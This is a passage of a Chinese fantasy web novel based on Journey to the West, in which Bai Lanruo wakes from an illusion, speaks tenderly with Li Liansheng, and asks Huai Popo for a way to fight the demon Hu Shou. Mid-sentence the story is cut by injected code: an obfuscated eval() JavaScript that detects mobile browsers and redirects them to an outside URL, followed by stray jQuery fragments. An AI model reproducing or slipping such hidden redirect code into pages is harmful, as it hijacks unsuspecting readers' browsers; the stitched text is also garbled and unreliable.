胡首跪在地上,看着那些光点,想伸手去抓,可什么也抓不住,光点穿过他的手指,像风像水。
“寿华……”
他的吼声震得大殿都在颤抖。
他猛地站起来,朝那棵树冲过去,却被一道无形的屏障弹了回来,重重摔在地上。
他爬起来,再冲,再摔,再冲再摔。
脸磕破了,膝盖磕破了,血糊了一脸,胡首浑然不觉,他紧紧盯着那棵树,像是一头被困在笼中的野兽。
直到她的身影彻底消失,漫天光点纷纷扬扬落在那棵树上,渗入树皮,渗入枝干,渗入每一条裂缝。
嫩绿的新芽从缝隙里长出来,枝干慢慢挺直,树叶一片一片舒展开来,泛着盈盈的绿光。
它活了。
可她却没了。
胡首跪在树下,仰着头,看着满树的新绿,一动不动,眼泪无声从他的眼眶滑过脸颊,滴在衣襟上。
“寿华……寿华……寿华……”
他一遍又一遍叫着她的名字,声音越来越低,越来越哑,最后变成无声的呢喃。
“痴儿啊,痴儿啊……”
孙悟空站在远处,幸好有菩萨救场,不然镇元大仙说不定要追杀他到海角天涯呢。
菩萨收起净瓶,看着那棵树,目光慈悲。
“缘起缘灭,皆有定数。”
……
护魂铃响,白兰若猛地睁开眼睛。
因为李莲生,她没有在幻境中迷失,但她须得过完身为寿华的一生,才能苏醒过来。
烛火在桌上跳了跳,映出一层昏黄的光。
刚闻到空气中有药味,便见李莲生端着药进来。
药碗搁在床边的矮几上,发出一声轻响。
李莲生在她身侧坐下,伸手探了探她额头的温度,不似刚才那样冰凉了。
“兰若,你还好吗?”他原本一直在她床榻前守着,槐婆婆见不惯他这个样子,便叫他去煎碗药来。
白兰若没说话,只是看着他的脸。
烛光映在他眉眼间,轮廓柔和得像一幅画。
她忽然伸手,触摸着他的脸颊,温热的,真实的,跟幻境里的那些虚幻不一样。
“怎么了?”李莲生握住她的手,微微皱眉,“怎么这么凉?”
白兰若摇摇头,声音沙哑,“我做了一个很长很长的梦。”
胡首妄图用幻境困住她,却让她也知晓了胡首的弱点。
李莲生把白兰若的手拢在手心,什么也没再问,只是说,“药快凉了,先喝药吧。”
白兰若撑着手臂想坐起来,身子却软得像一摊烂泥,使不上劲。
李莲生揽着她的肩膀,把她扶起来,又拿了个枕头垫在她腰后。
药碗递到嘴边,白兰若低头喝了一口,苦得直皱眉头。
“我是不是昏迷了很久?”
李莲生摇摇头,“一天一夜。”
白兰若一愣,一天一夜还不算久吗?
李莲生舀了一勺药汤,吹了吹,送到她嘴边,“你再不醒,我就要去拆了沉金楼。”
白兰若看着他,想从他脸上找到一点开玩笑的意思,可他的表情认真得很,一点都不像在说笑。
她忽然有点想笑,又有点想哭。
“李莲生。”
“嗯”
“你在幻境里替我挡了天雷。”
李莲生的手顿了顿,然后若无其事地把勺子递过去,“喝药。”
白兰若的目光又落在他的手上,他的手躲闪不及,拿着的勺子落入碗中,溅起几滴汤药。
“你傻不傻,我差点持剑杀了你……”
白兰若的声音在发抖,眼眶红红的,像是蓄着一汪随时会溢出来的水,她想起幻境中的那一幕,她握着剑柄,剑尖抵在他胸口。
他站在那,一动不动,连躲都不躲,还抓着剑向她靠近。
“你为什么不躲?”她问,“你明明可以躲的。”
如果李莲生死在幻境里,她就算醒来,也很难无波无澜地过完这一生。
李莲生淡然地擦掉溅在手上的药渍,语气平静得像在说一件再寻常不过的事,“因为那是你。”
白兰若差点落下泪来。
“你就这么笃定我不会失手杀了你?万一我真的刺下去了呢?”
“那我也认了。”
想想他是哪吒时,斩妖除魔无数,没有丧命在妖魔鬼怪手里,丧命在他心上人的手里,说出去也比打不过妖魔鬼怪好听一点。
李莲生看着她,目光温柔得让人心口发疼。
“在幻境里,你是寿华,你不认得我,可我认得你。如果你真的要杀我,那一定有你的理由,我挡不挡,都一样。”
白兰若被他这番话说得哑口无言,忍不住想要哽咽。
“别哭了,药真的要凉了。”
白兰若吸了吸鼻子,低头把那碗苦得让人舌头发麻的药汤一口气喝完,然后把空碗往他手里一塞。
“我还要喝。”
李莲生愣了一下,“还要?一碗就够了。”
“不够。”白兰若红着眼睛看他,“我心里苦,得多喝几碗才能甜回来。”
李莲生看她那副明明下一秒就要哭出来却还要嘴硬的模样,忍不住弯了弯嘴角,起身去倒药。
走到门口,忽然听见白兰若在身后说了一句,“李莲生,你在幻境中替我挡天雷的时候,有没有想过,如果你死了,我醒来怎么办?”
李莲生脚步一顿,没有回头。
“想过,”他说,“所以我没死。”
他虽然比不上孙悟空七十二般变化,但区区几道天雷,还不至于要了他的命。
白兰若看着他的背影消失在门口,脑海里又浮现出幻境里的画面。
雷电劈在李莲生身上,他浑身是血,跪在地上,又撑着膝盖站起来。
她那时候困在寿华的躯壳里,什么都做不了,只能看着他倒下,看他指尖扣进泥土里,一点点握紧。
那种无力感,比死了还要难受。
不知道胡首为什么要针对李莲生,但胡首确实是一个大隐患,她得想办法把胡首解决掉。
这几日兰若堂的生意清闲,白兰若便决定先在家休养几日。
白兰若在院子里坐着,看阿欢从树的东边挪到树的西边。
槐婆婆在屋里熬药,药香从门缝里飘出来,混着风的味道,苦中带甘。
“婆婆。”白兰若忽然开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517026|203221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口。
槐婆婆没应声,只当她是在自言自语,白兰若在她身边这些年,头一回被暗算,差点丢了性命,受到惊吓也是正常的。
“我想对付胡首。”
屋里搅拌药材的声音停了一瞬,又继续咕嘟咕嘟响了起来。
白兰若等了一会儿,没等到回应,便站起身,走到门口,撩开门帘。
槐婆婆正蹲在灶台前手里拿着一把破蒲扇,一下一下地扇着火,火光映在她那张沟壑纵横的脸上,明暗交错,看不清神情。
白兰若被噎了一下,走进来,在她身边蹲下,伸手去拿那把蒲扇。
“我来扇吧。”
槐婆婆没让,把蒲扇往旁边挪了挪,“你身子还没好利索呢,别瞎折腾。”
“我好了。”
“好了?”槐婆婆这才抬起头,看了她一眼,“好了的人,脸色能有这么白?”
白兰若不说话了。
“你知道你法力如何吧,简单的生火术是得心应手,但真要跟人斗法,你那点道行,连胡首一根手指头都比不上。”
白兰若本想反驳一下,胡首也不是一开始就这么厉害的,他在五庄观也修行过不知道多少年,她在幻境里也了解过一二。
对了,幻境,她也在幻境的五庄观中修炼过,但也不太一样,幻境里的她在胡首回忆里的一个个片段里,从来没有窥见过五庄观真正的道法传授。
白兰若无话反驳,槐婆婆说得对,她修炼不成妖法,怎么能跟一个修为高深的大妖动手。
“可我不能就这么算了。”她低下头,“他搞了绸缎庄的生意,还想害李莲生,他是个大坏蛋,大恶妖。”
槐婆婆沉默了一会儿,然后叹了口气,“你这个人啊,跟你师父一样,看着温温软软的,骨子里倔强得要命。”
她站起身,走到柜子前,翻出白兰若行医救人的那一排银针。
“你用过这套银针,但你只用了它的正常功效,”槐婆婆捻起最长的一根,举到烛火前,银针在火光中泛着冷光,“治病救人的针,也可以白骨生肌,也可以白骨化灰。”
白兰若心头一震。
原来还能这样?
这是同一道法力的一体两面。
逆转时,变成了毁灭之力。
“如果你用它杀人,针上的杀性就会苏醒,只是它会吞噬你的法力,你的精气,甚至你的魂魄。你法力微末,每一次都有可能陷入昏迷虚弱状态。”
言外之意是,没有完全的把握,最好别用。
不然没干掉对方就算了,自己倒下还给了对方可乘之机。
白兰若追问道,“就没有别的法器能让我用吗?”
“还有你的身体,”槐婆婆转过身,看着她的肋骨位置,“白骨夫人当年的本命法器,是从自己的肋骨抽出来的一柄骨剑,你也是白骨精,说不定能效仿她。”
白兰若下意识摸了摸自己的肋骨。
“你修炼两百年,你的真身也吸收了许多天地灵气,你一直不知道,所以你一直没用它,但它一直在那里,等着你。”
槐婆婆看着她,想不到她为了一个凡人小子要做到这一步。
“剑出鞘,就收不回来了。你确定要用?”